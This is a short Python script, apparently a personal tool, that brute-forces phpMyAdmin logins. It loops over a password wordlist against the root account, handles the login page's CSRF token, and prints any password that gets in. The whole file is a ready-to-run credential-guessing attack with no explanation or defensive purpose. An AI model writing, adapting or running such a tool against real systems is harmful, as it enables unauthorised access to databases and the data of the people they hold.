Mybruster_phpmyadmin单线程版.py

from requests import session
from re import findall
from html import unescape

target = "http://192.168.148.136:81/phpMyAdmin/index.php"
user = "root"
passdic = "asdf.txt"
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}


def get_token(text) -> str:
    token = findall("name=\"token\" value=\"(.*)\" />", text)
    return unescape(token[0]) if token else None


def get_title(text) -> str:
    title = findall("<title>(.*)</title>", text)
    return title[0] if title else None


def try_login(user, pwd, token):
    data = {"pma_username": user,
            "pma_password": pwd,
            "server": 1,
            "target": "index.php",
            "token": token}
    r = ss.post(url=target, data=data)
    return r.text


def fuck_pma():
    with open(passdic, "r", encoding="utf-8") as f:
        html = try_login("", "", "")
        title_fail = get_title(html)
        token = get_token(html)
        for line in f:
            pwd = line.strip()
            html = try_login(user, pwd, token)
            title = get_title(html)
            token = get_token(html)
            if title != title_fail:
                print(f"{user}  {pwd} 登录成功 {title}")
                # with open("success.txt", "a", encoding="utf-8") as f:
                #     f.write(f"{target}  {user}  {pwd}\n")
                # break
            else:
                print(f"{user}  {pwd} 登陆失败 {title}")


if __name__ == "__main__":
    try:
        fuck_pma()
    except Exception as e:
        print(e)